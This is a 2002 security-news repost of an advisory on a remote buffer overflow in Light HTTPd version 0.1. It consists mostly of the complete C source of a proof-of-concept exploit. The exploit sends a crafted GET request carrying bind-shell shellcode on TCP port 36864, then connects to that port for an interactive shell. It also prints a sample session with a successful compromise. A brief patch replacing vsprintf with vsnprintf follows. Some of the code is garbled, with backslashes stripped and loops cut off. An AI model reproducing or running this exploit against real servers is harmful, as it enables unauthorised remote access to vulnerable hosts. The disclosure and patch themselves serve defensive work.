Users login

Create an account »

JOIN XATRIX

Users login

Home » Hacking News » Remote Buffer Overflow vulnerability in Light HTTPd

Remote Buffer Overflow vulnerability in Light HTTPd

by Nikola Strahija on November 12th, 2002 Lhttpd that is improved in ghttpd for more convenient and strong webserver, is webserver that offer several functions. Vulnerability that attacker can get shell in remote easily of this webserver exists. This vulnerability resembles closely very with ghttpd vulnerability before.


0x02. Vulnerable Packages


Vendor site: http://lhttpd.sourceforge.net/

lhttpdwin0.1
-lhttpd0.1-win.zip
+Microsoft Windows

lhttpd-0.1
-lhttpd-0.1.tar.gz
+AIX
+BSD
+GNU Hurd
+HP-UX
+IRIX
+Linux
+SCO
+SunOS/Solaris
+Other


0x03. Exploit


This's exploit code that prove.
Through remote attack, get 'nobody' competence.


=== 0x82-Remote.lhttpdxpl.c ===

/*
**
** Proof of Concept LIGHT HTTPd Remote exploit
** by Xpl017Elz
** __
** Testing exploit:
**
** bash$ ./0x82-Remote.lhttpdxpl -h 61.37.xx.xx -t 3
**
** Proof of Concept LIGHT HTTPd Remote exploit
** by Xpl017Elz
**
** Try `./0x82-Remote.lhttpdxpl -?' for more information.
**
** [1] Make shellcode.
** [2] Send exploit (bindshell) code.
** [3] Waiting, executes the shell !
** [4] Trying 61.37.xx.xx:36864 ...
** [5] Connected to 61.37.xx.xx:36864 !
**
** [*] It's shell ! :-)
**
** Linux testsub 2.4.2-3 #1 Sun Jun 24 01:31:37 KST 2001 i686 unknown
** uid=99(nobody) gid=99(nobody) groups=0(root),1(bin),2(daemon),3(sys),
** 4(adm),6(disk),10(wheel)
** exit
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), .
** My World: http://x82.i21c.net
**
** Special Greets: INetCop team.
**
*/

#include
#include
#include
#include
#include

#define HOST "localhost"
#define PORT 3000

struct os
{
int num;
char *os;
int offset;
unsigned long shaddr;
int atlen;
};

struct os plat[] =
{
/* olny test */
{0,"RedHat Linux 6.x localhost lhttpd",1,0xbfffb744,160},
{1,"RedHat Linux 6.x remote lhttpd",0,0xbfffb608,150},
{2,"RedHat Linux 7.x localhost lhttpd",3,0xbfffb650,150},
{3,"RedHat Linux 7.x remote lhttpd",2,0xbfffb650,160},
{4,NULL,0,0}
};

int setsock(char *hostname,int port);
void getshell(int sock);
void usage(char *args);
void banrl(char *args);
int main(int argc,char *argv[])
{
int sockfd1;
int sockfd2;
int ax82,bx82,cx82,dx82;
int type=0;
int port=PORT;
int atlen=plat[type].atlen;
int off=plat[type].offset;
char offbuf[10];
char hostname[0x82]=HOST;

char ptbind[] = /* BIND SHELL ON PORT TCP/36864 */
//------------------- main: -------------------//
"xebx72" /* jmp callz */
//------------------- start: ------------------//
"x5e" /* popl %esi */
//------------------ socket() -----------------//
"x29xc0" /* subl %eax, %eax */
"x89x46x10" /* movl %eax, 0x10(%esi) */
"x40" /* incl %eax */
"x89xc3" /* movl %eax, %ebx */
"x89x46x0c" /* movl %eax, 0x0c(%esi) */
"x40" /* incl %eax */
"x89x46x08" /* movl %eax, 0x08(%esi) */
"x8dx4ex08" /* leal 0x08(%esi), %ecx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */
//------------------- bind() ------------------//
"x43" /* incl %ebx */
"xc6x46x10x10" /* movb $0x10, 0x10(%esi) */
"x66x89x5ex14" /* movw %bx, 0x14(%esi) */
"x88x46x08" /* movb %al, 0x08(%esi) */
"x29xc0" /* subl %eax, %eax */
"x89xc2" /* movl %eax, %edx */
"x89x46x18" /* movl %eax, 0x18(%esi) */
"xb0x90" /* movb $0x90, %al */
"x66x89x46x16" /* movw %ax, 0x16(%esi) */
"x8dx4ex14" /* leal 0x14(%esi), %ecx */
"x89x4ex0c" /* movl %ecx, 0x0c(%esi) */
"x8dx4ex08" /* leal 0x08(%esi), %ecx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */
//------------------ listen() -----------------//
"x89x5ex0c" /* movl %ebx, 0x0c(%esi) */
"x43" /* incl %ebx */
"x43" /* incl %ebx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */
//------------------ accept() -----------------//
"x89x56x0c" /* movl %edx, 0x0c(%esi) */
"x89x56x10" /* movl %edx, 0x10(%esi) */
"xb0x66" /* movb $0x66, %al */
"x43" /* incl %ebx */
"xcdx80" /* int $0x80 */
//---- dup2(s, 0), dup2(s, 1), dup2(s, 2) -----//
"x86xc3" /* xchgb %al, %bl */
"xb0x3f" /* movb $0x3f, %al */
"x29xc9" /* subl %ecx, %ecx */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f, %al */
"x41" /* incl %ecx */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f, %al */
"x41" /* incl %ecx */
"xcdx80" /* int $0x80 */
//------------------ execve() -----------------//
"x88x56x07" /* movb %dl, 0x07(%esi) */
"x89x76x0c" /* movl %esi, 0x0c(%esi) */
"x87xf3" /* xchgl %esi, %ebx */
"x8dx4bx0c" /* leal 0x0c(%ebx), %ecx */
"xb0x0b" /* movb $0x0b, %al */
"xcdx80" /* int $0x80 */
//------------------- callz: ------------------//
"xe8x89xffxffxff" /* call start */
"/bin/sh"; /* 128byte */

char atbuf[512];
char sendnrecv[1024];
unsigned long shcode=plat[type].shaddr;
ax82=bx82=cx82=dx82=0;

memset(offbuf,0x00,10);
memset(atbuf,0x00,512);
memset(sendnrecv,0x00,1024);

(void)banrl(argv[0]);

while((dx82=getopt(argc,argv,"S:s:O:o:H:h:P:p:T:t:"))!=EOF)
{
switch(dx82)
{
case 'S':
case 's':
shcode=strtoul(optarg,NULL,0);
break;

case 'O':
case 'o':
off=atoi(optarg);
break;

case 'H':
case 'h':
strncpy(hostname,optarg,0x82);
break;

case 'P':
case 'p':
port=atoi(optarg);
break;

case 'T':
case 't':
type=atoi(optarg);

if(type<0 || type>3)
usage(argv[0]);

off=plat[type].offset;
shcode=plat[type].shaddr;
atlen=plat[type].atlen;
break;

case '?':
usage(argv[0]);
break;
}
}

while(off)
{
off--;
offbuf[off]='^';
}

fprintf(stdout," [1] Make shellcode.n");
for(ax82=0;ax82 atbuf[ax82] = 0x90;

for(bx82=0;bx82 atbuf[ax82++]=ptbind[bx82];

for(cx82=ax82;cx82 *(long *)&atbuf[cx82]=shcode;

snprintf(sendnrecv,1024,"GET /%s%s HTTP/1.0rnn",offbuf,atbuf);

fprintf(stdout," [2] Send exploit (bindshell) code.n");
sockfd1=setsock(hostname,port);
send(sockfd1,sendnrecv,strlen(sendnrecv),0);

fprintf(stdout," [3] Waiting, executes the shell !n");
sleep(3);

fprintf(stdout," [4] Trying %s:36864 ...n",hostname);
sockfd2=setsock(hostname,36864);
fprintf(stdout," [5] Connected to %s:36864 !nn",hostname);
getshell(sockfd2);

}

int setsock(char *hostname,int port)
{
int sock;
struct hostent *sxp;
struct sockaddr_in sxp_addr;

if((sxp=gethostbyname(hostname))==NULL)
{
herror("gethostbyname() error");
exit(-1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket() error");
exit(-1);
}

sxp_addr.sin_family=AF_INET;
sxp_addr.sin_port=htons(port);
sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
bzero(&(sxp_addr.sin_zero),8);

if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==-1)
{
perror("connect() error");
exit(-1);
}

return(sock);
}

void getshell(int sock)
{
int died;
char *command="uname -a;idn";
char readbuf[1024];
fd_set rset;

memset(readbuf,0x00,1024);

fprintf(stdout," [*] It's shell ! :-)nn");
send(sock,command,strlen(command),0);

for(;;)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);

if(FD_ISSET(sock,&rset))
{
died=read(sock,readbuf,1024);
if(died<=0)
{
exit(0);
}
readbuf[died]=0;
printf("%s",readbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
died=read(STDIN_FILENO,readbuf,1024);
if(died>0)
{
readbuf[died]=0;
write(sock,readbuf,died);
}
}
}
return;
}

void usage(char *args)
{
int x82;
fprintf(stderr,"n Default Usage: %s -[option] [arguments]nn",args);
fprintf(stderr,"t -h [hostname] - target hostn");
fprintf(stderr,"t -p [port] - port numbern");
fprintf(stderr,"t -s [addr] - &shellcode addrn");
fprintf(stderr,"t -o [offset] - offsetn");
fprintf(stderr,"t -t [type] - type numbernn");
fprintf(stderr," Example: %s -h localhost -p 3000 -t 1nn",args);
fprintf(stdout,"t * Select target type: nn");
for(x82=0;plat[x82].num<4;x82++)
fprintf(stdout,"t %d. %sn",plat[x82].num,plat[x82].os);
fprintf(stdout,"n Happy Exploit !nn");
exit(0);
}

void banrl(char *args)
{
fprintf(stdout,"n Proof of Concept LIGHT HTTPd Remote exploit");
fprintf(stdout,"n by Xpl017Elznn");
fprintf(stdout," Try `%s -?' for more information.nn",args);
}

=== eof ===


0x04. Patch


=== util.patch ===

--- util.c Mon Dec 24 09:43:29 2001
+++ util.c.patch Thu Oct 17 19:02:00 2002
@@ -220,7 +220,7 @@
va_list ap;

va_start(ap, format); // format it all into temp
- vsprintf(temp, format, ap);
+ vsnprintf(temp, strlen(temp), format, ap);
va_end(ap);

time (&t);

=== eof ===


P.S: Sorry, for my poor english.


--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.org (Korean hacking game)
My World: http://x82.i21c.net

GPG public key: http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y
--


--
Get your free email from http://www.hackermail.com

Powered by Outblaze


Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.

Contact

Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »